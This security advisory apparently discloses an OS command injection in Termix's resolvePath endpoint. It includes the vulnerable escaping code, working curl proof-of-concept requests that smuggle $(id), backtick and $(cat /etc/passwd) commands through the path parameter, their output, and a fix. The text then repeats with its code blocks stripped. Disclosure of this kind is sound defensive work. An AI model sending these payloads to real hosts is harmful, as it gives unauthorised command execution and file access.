Summary
The GET /ssh/file_manager/ssh/resolvePath endpoint in Termix is vulnerable to OS command injection. The endpoint uses double-quote escaping for shell command construction, which does not prevent $(...) and backtick command substitution. Any authenticated user with an active File Manager SSH session can execute arbitrary commands on the connected remote host.
Details
File: src/backend/ssh/file-manager.ts, lines 2740–2748:
let expandPath = rawPath;
if (expandPath.startsWith("~")) {
expandPath = "$HOME" + expandPath.substring(1);
}
const escapedPath = expandPath.replace(/"/g, '\\"');
const command = `echo "${escapedPath}"`;
sshConn.client.exec(command, (err, stream) => {
The path query parameter goes through decodeURIComponent() at line 2724, then only " characters are escaped with \". The resulting string is placed inside double quotes in a shell echo command executed over SSH.
In POSIX shells, double-quoted strings still interpret:
- $(...) — command substitution
- ` (backticks) — command substitution (legacy syntax)
-
$VAR / ${VAR} — variable expansion
Every other endpoint in the same file correctly uses single-quote escaping (replace(/'/g, "'"'"'")), which prevents all shell metacharacter interpretation. This endpoint is the only one that uses the double-quote pattern.
PoC
Prerequisites
- A running Termix instance (tested on v2.1.0 Docker image)
- Any valid Termix user account
- A target SSH host added to Termix
Exploitation
After logging in and establishing a File Manager SSH session, the following requests demonstrate arbitrary command execution on the remote SSH host:
# Authenticate and store session cookie
curl -s -c cookies.txt -X POST http://<TERMIX_HOST>:30001/users/login \
-H "Content-Type: application/json" \
-d '{"username":"<USER>","password":"<PASS>"}'
# Open a File Manager SSH connection (returns/uses a sessionId)
curl -s -b cookies.txt -X POST http://<TERMIX_HOST>:30004/ssh/file_manager/ssh/connect \
-H "Content-Type: application/json" \
-d '{"sessionId":"poc-session","hostId":1,"ip":"<SSH_HOST>","port":22,"username":"<SSH_USER>","password":"<SSH_PASS>","authType":"password"}'
# PoC 1 — Run 'id' via $() substitution
curl -s -b cookies.txt \
"http://<TERMIX_HOST>:30004/ssh/file_manager/ssh/resolvePath?sessionId=poc-session&path=\$(id)"
# PoC 2 — Run 'whoami' via backtick substitution
curl -s -b cookies.txt \
"http://<TERMIX_HOST>:30004/ssh/file_manager/ssh/resolvePath?sessionId=poc-session&path=%60whoami%60"
# PoC 3 — Read /etc/passwd
curl -s -b cookies.txt \
"http://<TERMIX_HOST>:30004/ssh/file_manager/ssh/resolvePath?sessionId=poc-session&path=\$(cat%20/etc/passwd)"
# PoC 4 — Write to filesystem (proves full RCE, not just read)
curl -s -b cookies.txt \
"http://<TERMIX_HOST>:30004/ssh/file_manager/ssh/resolvePath?sessionId=poc-session&path=\$(echo%20HACKED%20>%20/tmp/pwned.txt%20%26%26%20cat%20/tmp/pwned.txt)"
Output
Tested against Termix v2.1.0 Docker image with an Alpine-based SSH target:
PoC 1 — $(id):
{"resolvedPath":"uid=1000(testuser) gid=1000(users) groups=1000(users)"}
PoC 2 — whoami:
{"resolvedPath":"testuser"}
PoC 3 — $(cat /etc/passwd):
{"resolvedPath":"root:x:0:0:root:/root:/bin/sh\nbin:x:1:1:bin:/bin:/sbin/nologin\ndaemon:x:2:2:daemon:/sbin:/sbin/nologin\n...testuser:x:1000:1000::/config:/bin/bash"}
PoC 4 — $(echo HACKED > /tmp/pwned.txt && cat /tmp/pwned.txt):
{"resolvedPath":"HACKED"}
Impact
An authenticated Termix user can run arbitrary OS commands on any remote host they have a File Manager session connected to. This includes reading sensitive files, writing to the filesystem, and establishing reverse shells. The injected commands run as the SSH user that the File Manager session is authenticated with.
The intended purpose of the resolvePath endpoint is to expand path shortcuts (e.g. ~ to /home/user). It is not meant to provide command execution — the Terminal feature exists for that. The vulnerability arises from inconsistent escaping: this is the only endpoint in file-manager.ts that uses double-quote escaping instead of the single-quote pattern used everywhere else in the file.
Suggested Fix
Replace the double-quote escaping with the single-quote escaping pattern that the rest of the file already uses:
// Before (vulnerable):
const escapedPath = expandPath.replace(/"/g, '\\"');
const command = `echo "${escapedPath}"`;
// After (safe):
const escapedPath = expandPath.replace(/'/g, "'\"'\"'");
const command = `echo '${escapedPath}'`;
Alternatively, avoid running a shell command entirely and resolve the path through SFTP realpath(), which does not involve a shell at all.
Summary
The GET /ssh/file_manager/ssh/resolvePath endpoint in Termix is vulnerable to OS command injection. The endpoint uses double-quote escaping for shell command construction, which does not prevent $(...) and backtick command substitution. Any authenticated user with an active File Manager SSH session can execute arbitrary commands on the connected remote host.
Details
File: src/backend/ssh/file-manager.ts, lines 2740–2748:
The path query parameter goes through decodeURIComponent() at line 2724, then only " characters are escaped with \". The resulting string is placed inside double quotes in a shell echo command executed over SSH.
In POSIX shells, double-quoted strings still interpret:
Every other endpoint in the same file correctly uses single-quote escaping (replace(/'/g, "'"'"'")), which prevents all shell metacharacter interpretation. This endpoint is the only one that uses the double-quote pattern.
PoC
Prerequisites
Exploitation
Output
Tested against Termix v2.1.0 Docker image with an Alpine-based SSH target:
PoC 1 — $(id):
{"resolvedPath":"uid=1000(testuser) gid=1000(users) groups=1000(users)"}PoC 2 —
whoami:{"resolvedPath":"testuser"}PoC 3 — $(cat /etc/passwd):
{"resolvedPath":"root:x:0:0:root:/root:/bin/sh\nbin:x:1:1:bin:/bin:/sbin/nologin\ndaemon:x:2:2:daemon:/sbin:/sbin/nologin\n...testuser:x:1000:1000::/config:/bin/bash"}PoC 4 — $(echo HACKED > /tmp/pwned.txt && cat /tmp/pwned.txt):
{"resolvedPath":"HACKED"}Impact
An authenticated Termix user can run arbitrary OS commands on any remote host they have a File Manager session connected to. This includes reading sensitive files, writing to the filesystem, and establishing reverse shells. The injected commands run as the SSH user that the File Manager session is authenticated with.
The intended purpose of the resolvePath endpoint is to expand path shortcuts (e.g. ~ to /home/user). It is not meant to provide command execution — the Terminal feature exists for that. The vulnerability arises from inconsistent escaping: this is the only endpoint in file-manager.ts that uses double-quote escaping instead of the single-quote pattern used everywhere else in the file.
Suggested Fix
Replace the double-quote escaping with the single-quote escaping pattern that the rest of the file already uses:
Alternatively, avoid running a shell command entirely and resolve the path through SFTP realpath(), which does not involve a shell at all.